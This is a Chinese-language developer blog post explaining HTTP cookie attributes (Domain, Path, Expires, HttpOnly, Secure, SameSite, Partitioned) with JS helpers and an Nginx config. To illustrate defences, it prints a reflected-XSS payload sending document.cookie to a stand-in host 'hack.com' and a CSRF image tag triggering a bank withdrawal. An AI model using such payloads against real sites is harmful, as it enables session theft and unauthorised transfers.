Cookies 完全指南

2023-08-25 12:01:09

我們是袋鼠雲數棧 UED 團隊,致力於打造優秀的一站式資料中臺產品。我們始終保持工匠精神,探索前端道路,為社群積累並傳播經驗價值。

本文作者:佳嵐

前言

Cookie實際上是一小段的文字資訊,它產生的原因是由於HTTP 協定是無狀態的,所以需要通過 Cookie 來維持使用者端與伺服器端之間的「對談狀態」。如網路購物,能夠在不同頁面記錄購物車資訊,或者在網站不同頁面共用登入狀態。

Cookie 的基本結構包括:名字、值、各種屬性

屬性

一塊 Cookie 可能有 Domain、Path、Expires、Max-Age、Secure、HttpOnly 等多種屬性,如

**HTTP**/1.1 200 **OK**
Set-Cookie: token=abc; Domain=.baidu.com; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly

Domain 和 Path

DomainPath 屬性定義了該 Cookie 的可被存取的範圍,告訴瀏覽器該 Cookie 是屬於哪一個網站的。在請求介面時,會根據 DomainPath 由瀏覽器決定是否要攜帶該 Cookie。因此,Domain 是有嚴格規範進行約束的,可以看成 Cookie 的第一道安全防線。
首先 Domain 設定時在 格式上 必須以 . 開頭,且域必須還要包含一個 .  ,或者是完全以 ip 的形式寫入,
比如說:

.baidu.com  ✅

192.168.3.5  ✅

.com

.168.3.5 ❌ 非法ip地址是無法寫入的

www.baidu.com ❓ 是否合法

A Set-Cookie with Domain=ajax.com will be rejected because the value for Domain does not begin with a dot.

雖然 RFC 中嚴格規定了 Domain 必須以 . 開頭,但可能由於網站開發者經常忘記加上 . ,所以瀏覽器都會自動的在前面加上一個 .
比如說下面這種:

寫入時

檢視時

如果伺服器未指定 Cookie 的 Domain,則它們預設為所請求資源的域。

比如 網站地址為 www.baidu.com  ,寫入的Cookie響應頭為Set-Cookie: b=2; Domain=;

則實際寫入的 Cookie 為

我們可以看到 bDomain變成了當前網站的域,且前面也沒有帶上.

區別

  • Domain 不帶點時只有請求主機完全匹配時才會帶上 Cookie,也就是僅 www.baidu.com 能存取
  • Domain 帶點時所有子域都能存取到該 Cookie,如 baidu.comb.baidu.coma.b.baidu.com

主機匹配

如果請求主機與域名不匹配,則會被瀏覽器拒絕寫入
當我在 www.a.com 網站寫入了一條 www.b.com , 由於它們非同站會被瀏覽器拒絕寫入

Domain 必須為當前域或者當前域的父域

  • 請求主機為www.baidu.com ,寫入域為 .baidu.comwww.baidu.com
  • 請求主機為a.baidu.com ,寫入域為 b.baidu.comc.a.baidu.com

再講講Path , PathDomain 相鋪相成,Domain 決定 Cookie是否該被寫入,而 Path 決定具體請求哪個路徑時會被攜帶。

例如,設定 Path=/docs,則以下地址都會匹配:

  • /docs
  • /docs/
  • /docs/Web/
  • /docs/Web/HTTP

但是這些請求路徑不會匹配以下地址:

  • /
  • /docsets
  • /fr/docs

當為設定Path或者設定為空時,Path 會被設定為當前請求路徑

注意點:

  • 當請求地址不帶末尾的/ 時,www.a.com:3000/a/b

  • 當請求地址末尾帶/ 時, www.a.com:3000/a/b/

Cookie是由DomainPath 來區分的,因此不同的DomainPath 會被識別成不同的Cookie, 所以你可能會遇到多個同名的情況

這些Cookie會同時在請求頭中被傳遞給伺服器端

我們可以看到 傳送給伺服器端的 Cookie 只會攜帶 Cookie 的鍵與名,不會攜帶相關的 Domain 資訊,因此伺服器端是無法判斷出該 Cookie 具體是哪個域攜帶的。但會有攜帶順序的優先順序問題,參見

所以當我們有多個子網站需要使用相同名字的Cookie時,可以使用不帶點的全域名 作為寫入Domain 或者指定具體的不同Path , 或者採用字首來區分不同網站

Expires 和 Max-Age

ExpiresMax-Age屬性定義了 Cookie 的生命週期,也就是瀏覽器應刪除 Cookie 的時間。在預設情況下Cookie 的生命週期是 Session 級別,即退出瀏覽器後自動過期。
Http Cache 類似, Expires 是以一個絕對GMT格式的時間的來指定過期時間,而 Max-Age 是以多少秒後過期。Max-Agehttp1.1 的產物,優先順序比 Expires 要高,

  • 當Max-Age 設定大於0時,則會在設定的多少秒後過期
  • 當Max-Age 設定為0時,則會立即過期
  • 當Max-Age 設定為-1時,為Session級別

區別點:

  • Expires 是以GMT時間為單位,可能存在伺服器與瀏覽器端時間不匹配的情況,導致不能精確控制時間到期時間。而Max-Age 則是以瀏覽器端接收到響應時開始計算時間的,以使用者端為準
  • Max-Age 使用與計算過期時間更簡單,而Expires 相容性更好

瞭解了這4個屬性,我們就可以先封裝自己的 Cookie 操作工具了,
瀏覽器提供的document.cookie 為我們提供了對Cookie的操作方式

document.cookie 重新賦值即可新增該Cookie, 而不是替換掉整個Cookies
注意:如果需要替換某個Cookie, 必須保證DomainPath一致。其中 Cookie 內容只能包括 Ascii 碼字元,所以需要經過一層編碼。

setCookie(
    name: string,
    value: string,
    days?: number,
    domainStr?: string
){
      let expires = '';
      if (days) {
          const date = new Date();
          date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
          expires = '; expires=' + date.toUTCString();
      }
      let domain = '';
      if (domainStr) {
          domain = '; domain=' + domainStr;
      }
      document.cookie = name + '=' + encodeURIComponent(value) + expires + domain + '; path=/';
  },

只有將 Cookie 設為過期才會刪除, 注意只有符合指定 domain 與 path 會被刪除

deleteCookie(name: string, domain?: string, path?: string) {
    const d = new Date(0);
    const domainTemp = domain ? `; domain=${domain}` : '';
    const pathTemp = path || '/';
    document.cookie =
        name + '=; expires=' + d.toUTCString() + domainTemp + '; path=' + pathTemp;
},

我們僅能通過document.cookie 查詢到所有的鍵與值,無法查詢其具體的屬性,每個不同的Cookie通過 ; 分割

function getCookie(cookieName) {
  const strCookie = document.cookie
  const cookieList = strCookie.split('; ')
  
  for(let i = 0; i < cookieList.length; i++) {
    const arr = cookieList[i].split('=')
    if (cookieName === arr[0].trim()) {
      return decodeURIComponent(arr[1]);
    }
  }
  
  return ''
}

HttpOnly

HttpOnly 要求瀏覽器不要通過 HTTP(和HTTPS)以外的渠道使用 Cookie,也就是說只能通過 Http 的響應頭裡進行Set-Cookie , 使用者無法在 js 程式碼中去操作與讀取該 Cookie。這個屬性主要是用來緩解 XSS 攻擊的。
我們可以看下面兩個例子

反射型XSS竊取Cookie

反射型 XSS 攻擊指攻擊者在頁面中插入惡意 JavaScript 指令碼,該指令碼隨著 HTTP/HTTPS 請求資料一起傳送給後端伺服器,伺服器對其進行響應,瀏覽器接收響應後將其解析渲染。惡意指令碼的執行路徑為「瀏覽器-伺服器-瀏覽器」。瀏覽器中的惡意指令碼傳送到伺服器,伺服器直接對應資源返回瀏覽器中解析執行,整個過程類似於反射。

假設我們在百度上搜尋內容,就會跳轉以下頁面。

https://www.baidu.com/search?input=searchText

之後返回的頁面中會攜帶下面的內容

<p>以下是搜尋{searchText}的所有結果</p>

這時我將searchText 改為如下的字串

<img src="notfound.png" onerror="location.href='http://hack.com/?cookie='+document.cookie'">

接著我再把整個連結進行轉碼或者轉短連結化,傳送給使用者,使用者點選後在 baidu 上的 Cookie 就會比自動傳送到我們的 hack 伺服器內。

儲存型 XSS 竊取 Cookie

儲存型 XSS 攻擊指攻擊者在伺服器的資料庫中插入惡意 JavaScript 指令碼,當用戶存取網站時,惡意指令碼被傳送到瀏覽器進行解析執行。

最經典的一個評論區案例

我在某網站的評論區直接輸入一串JS程式碼

如果前端與後端均沒有對其進行過濾,那麼該評論被寫入到資料庫中,所有存取該頁面的使用者資訊都會被竊取。

但目前 XSS 攻擊並沒有那麼容易成功,大部分前端框架 React、 Vue,都會自動對 HTML 內容進行跳脫後再輸出到頁面,比如:

<img src="empty.png" onerror ="alert('xss')">

跳脫後輸出到 html 中

&lt;img src=&quot;empty.png&quot; onerror =&quot;alert(&#x27;xss&#x27;)&quot;&gt;

相比之下,採用伺服器端渲染的Web應用更容易被攻擊,如jspphpexpress-art-tempalte

因此,採用HttpOnly來保護關鍵的使用者Cookie 是能很大程度上防止Cookie被竊取,但並非完全杜絕。

Secure

Secure 屬性是防止資訊在傳遞的過程中被監聽捕獲造成資訊洩漏。當 Secure 標誌的值被設定為 true 時,表示建立的 Cookie 會被以安全的形式向伺服器傳輸,即只能在 HTTPS 連線中被瀏覽器傳遞到伺服器端進行對談驗證,如果是 HTTP 連線則不會傳遞該資訊,所以 Cookie 的具體內容不會被盜取,該屬性只能在 HTTPS 站點下被設定。

SameSite

Same Site 直譯過來就是同站,它和我們之前說的同域 Same Origin 是不同的。Cookie 遵守同站策略,而非同源策略,兩者的區別主要在於判斷的標準是不一樣的。一個 URL 主要有以下幾個部分組成:

可以看到同域的判斷比較嚴格,需要 protocol、 hostnameport 三部分完全一致。

相對而言,Cookie中的同站判斷就比較寬鬆,主要是根據 Mozilla 維護的公共字尾表Pulic Suffix List)使用有效頂級域名(eTLD)+1的規則查詢得到的一級域名是否相同來判斷是否是同站請求, 此外,Cookie並不區分協定

域名可以分成頂級域名(一級域名)、二級域名、三級域名等等,如:

頂級域名:.com, .cn, .top, .xyz

二級:baidu.com, bilibili.com

三級域名:xx.baidu.com xx.bilibili.com

這很好理解,如果是github.io 這屬於什麼域名?

例如 比較https://tieba.baidu.comhttps://wenku.baidu.com 是否是同站。

根據上述的 有效頂級域名(eTLD)+1的規則查詢得到的一級域名是否相同

.com是在 PSL 中記錄的有效頂級域名,eTLD+1 後兩者都是 baidu.com ,

所以 https://tieba.baidu.com 和 https://www.baidu.com是同站域名。

那我們再來比較下jackWang.github.iodtstack.github.io

其中 github.io  我們再PSL中能夠找到

因此github.io 是有效頂級域名 eTLDjackWang.github.iodtstack.github.io 分別是eTLD+1 , 它們不相等,所以是跨站的。由於github.io 是頂級域名,當domain設定為  .github.io 由於非法,並不會設定成功,也因此不同github page是不共用Cookie的。

eTLD

eTLD 的全稱是 effective Top-Level Domain,它與我們往常理解的 Top-Level Domain 頂級域名有所區別。eTLD 記錄在之前提到的 PSL 檔案中。而 TLD(真正的頂級域名) 也有一個記錄的列表,那就是 Root Zone Database
eTLD 的出現主要是為了解決 .com.cn、 .com.hk、 .co.jp 這種看起來像是二級域名的但其實需要作為頂級域名存在的場景。
回到 SameSite 這個屬性本身上,它有三個取值

  • None
  • Lax  預設值
  • Strict

None

在 Chrome80 版本以前,Same-Site 的預設值是None , 該屬性值表示不做任何限制,允許第三方Cookie 。啥是第三方Cookie ?根據上面同站的判斷規則,如果是同站的,就稱為第一方 ,跨站的就為第三方

那麼什麼時候我的網站會出現第三方CookieCookie Domain不是隻能設定自身域內嗎 ?
首先Set-Cookie時的Domain校驗是根據請求的主機,而不是當前導航欄 URL 的地址來判定的

當我請求一個跨域請求,或者通過img標籤引入一個外域的圖片時等等,如果請求響應設定了Cookie或者攜帶了第三方Cookie, 那麼都會在Devtools中展示,只有當通過document.cookie存取時存取到的都為第一方Cookie

當我在www.aliyun.com 設定了如下 Cookie:  a=createFromAliyun; Domain=.aliyun.com;Path=/; SameSite=None

當我存取www.taobao.com時, 裡面參照了一張aliyun.com的圖片
當我將SameSite設為None時,請求這張圖片時才會帶上我們在www.aliyun.com 下寫入的Cookie a

僅攜帶為NoneCookie

Lax

Lax會對一部分第三方Cookie進行限制傳送,我們知道網際網路廣告通過在固定域 Cookie 下標記使用者 ID,記錄使用者的行為從何達到精準推薦的目的。隨著全球隱私問題的整治,在 Chrome 80 中瀏覽器將預設的 SameSite 規則從 SameSite=None 修改為 SameSite=Lax。設定成 SameSite=Lax 之後頁面內所有跨站情況下的資源請求都不會攜帶 Cookie。

具體規則:

型別 例子 是否傳送
a連結 傳送
預載入 傳送
GET 表單 傳送
POST 表單 不傳送
iframe 不傳送
AJAX axios.post fetch 不傳送
圖片 不傳送

對使用者來說這肯定是一件好事,避免了自身被攻擊。但是對我們技術同學來說,這無疑是給我們設定的一個障礙。因為業務也確實會存在著多個域名的情況,並且需要在這些域名中進行 Cookie 傳遞。

這個修改影響面廣泛,需要網站維護者花大量的時間去修改適配。

針對因為此次特性受到影響的網站,可以選擇以下一些適配辦法:

  1. 降級瀏覽器版本至80以下;基本只能用作臨時解決方案
  2. 瀏覽器預設設定修改,91版本以下進入chrome://flagssame-site-by-default-cookies設為disabled , 94版本以下需改動啟動項才行
  3. 將站點都放到同一二級域名下面,即讓他們保持同站
    會使用兩個不同的站點業務耦合,僅特定場景下可以考慮,比如通過 iframe 嵌入單點登入頁面 ,單點登入頁面僅會在iframe中使用,沒有人會單獨去存取這個網站,則可以考慮修改單點登入頁面的域名。
  4. 為所有 Cookie 增加 SameSite=None;Secure 屬性
    需要改動所有前後端設定 Cookie 的地方,改動量巨大,其次None 必須與Secure 配套使用,而Secure 意味著必須配備 HTTPS
  5. 通過 Nginx 反向代理我們的跨站網站, 使它們變成同站。
    比如我在www.baidu.com 下通過 iframe 巢狀了www.bilibili.com , 它們跨站了,在 bilibili 中的Set-Cookie 將會被拒絕掉。
    這時我在 Nginx上開啟一個代理服務,將域名 bilibili.baidu.com 代理轉發至 www.bilibili.com

需要注意: 要通過 Nginx 進行 Cookie 轉發

server {
  listen       80;
  server_name  bilibili.baidu.com;

  location / {
    proxy_hide_header X-Frame-Options;
    # 用於cookie代理
    proxy_cookie_domain www.baidu.com  bilibili.baidu.com;
    # 代理到真實地址
    proxy_pass http://www.baidu.com;
  }
}

Strict

Strict 最為嚴格,它完全拒絕第三方站點,實際運用場景並不多,當某些 Cookie 被設為Strict後,可能會影響到使用者的體驗。比如我在baidu.com 中用a標籤 連結到bilibili ,而bilibilitoken如果是Strict的話,那我跳轉過去就會丟失登入狀態。

SameSite 的作用主要有兩點:

  1. 進行隱私保護,
  2. 能夠有效防禦CSRF攻擊

比如我在自己的駭客網站放入一張圖片,裡面的連結指向會將 qiming 的錢轉給 jialan, 誘導使用者進入我的網站,由於第三方 Cookie 的存在,使用者的登入態是存在的(之前登入過該銀行的話),錢就會自動轉入我的賬戶。如果設定了LaxStrict , 則能避免這種問題。
<img src="http://bank.example.com/withdraw?account=qiming&amount=1000000&for=jialan" />

Cookie大小與數量

每一個 Cookie 的大小一般為4KB, 不同瀏覽器上不同,Chrome 實測下來為4096個位元組,其計算是name + value的字串長度,當超過大小時設定不會成功

實測下來每個域下面最多為175個,當超出最大限制時,會移除舊的 Cookie

但我如何控制哪些 Cookie 在超出限制時不應該被刪除?
Cookie還有個 Priority 屬性用來表示優先順序
有以下取值:

  • Low
  • Medium 預設值
  • High

那自動刪除時將按下面順序進行刪除

  1. 優先順序為 Low的非 secure Cookie
  2. 優先順序為 Low的 secure Cookie
  3. 優先順序為 Medium的非 secure Cookie
  4. 優先順序為 Medium的 secure Cookie
  5. 優先順序為 High的非 secure Cookie
  6. 優先順序為 High的 secure Cookie

未來發展

Cookie 在未來的很長一段時間都是不可或缺的,即使目前已經有了 jwt 等替代方案。 像國外的 Cookie 隱私法在一步步限制著 Cookie 的權利,存取站點時使用第三方 Cookie 都必須爭得使用者的同意。

未來的SameParty屬性

SameSite=Lax/Strict  斷了我們跨站傳遞 Cookie 的念想,但實際業務上確實有這種場景。然而 Chrome 是計劃在2024年完全禁用第三方Cookie ,那完全禁用後,為了能夠滿足實際的業務需求,Chrome 又推出了SameParty屬性。

該提案提出了 SameParty 新的 Cookie 屬性,當標記了這個屬性的 Cookie 可以在同一個主域下進行共用。那如何定義不同的域名屬於同一主域呢?主要是依賴了另外一個特性 first-party-set 第一方集合。它規定在每個域名下的該 URL /.well-known/first-party-set 可以返回一個第一方域名的組態檔。在這個檔案中你可以定義當前域名從屬於哪個第一方域名,該第一方域名下有哪些成員域名等設定。

// https://a.example/.well-known/first-party-set
{
  "owner": "a.example",
  "members": ["b.example", "c.example"],
  ...
}

// https://b.example/.well-known/first-party-set
{
	"owner": "a.example"
}

// https://c.example/.well-known/first-party-set
{
	"owner": "a.example"
}

當然使用固定 URL 會產生額外的請求,對頁面的響應造成影響。也可以直接使用 Sec-First-Party-Set 響應頭直接指定歸屬的第一方域名。

該屬性還未正式支援,此處只做簡略說明,詳細資料

Partitioned屬性

這個屬性我們可能很少注意到,一般稱為Cookies Having Independent Partitioned State (CHIPS)

它的作用是使 第三方Cookie第一方站點 相繫結

我們舉個例子:

我在 https://site-a.example 裡,裡面請求了 https://3rd-party.example 這個站點的資源, 而 https://3rd-party.example 寫入了一個 Cookie ,那它屬於 第三方COokie

當我存取 https://site-b.example 時,也請求了 https://3rd-party.example 的資源,這時瀏覽器會把在 https://site-a.example 中寫入的第三方 Cookie 也給帶上。

這是正常情況,原因是 Cookie 在會以寫入它們的主機或者域名作為 Key 去儲存,比如上面就是 [」https://3rd-party.example」],  我們並不知道它的建立上下文域名是啥。

當我開啟 Partitioned 時,Cookie 儲存時,還會記錄建立它的上下文 eTLD + 1 作為額外的 Partiotion Key , 變成 [」https://3rd-party.example」, "https://site-a.example"]

當我存取 https://site-a.example  是因為匹配上了 Partition Key , 所以能夠帶上 第三方 Cookie , 存取 https://site-b.example 時則不會帶上 第三方 Cookie 。這樣其實主要是限制了第三方 Cookie 的跟蹤。

參考

https://tech-blog.cymetrics.io/posts/jo/zerobased-secure-samesite-httponly/
https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/frontend_nian/article/details/124221944
https://blog.csdn.net/weixin_40906515/article/details/120030218
https://datatracker.ietf.org/doc/html/rfc6265
https://zhuanlan.zhihu.com/p/50541175
https://developer.mozilla.org/en-US/docs/Web/Privacy/Partitioned_cookies


最後

歡迎關注【袋鼠雲數棧UED團隊】~
袋鼠雲數棧UED團隊持續為廣大開發者分享技術成果,相繼參與開源了歡迎star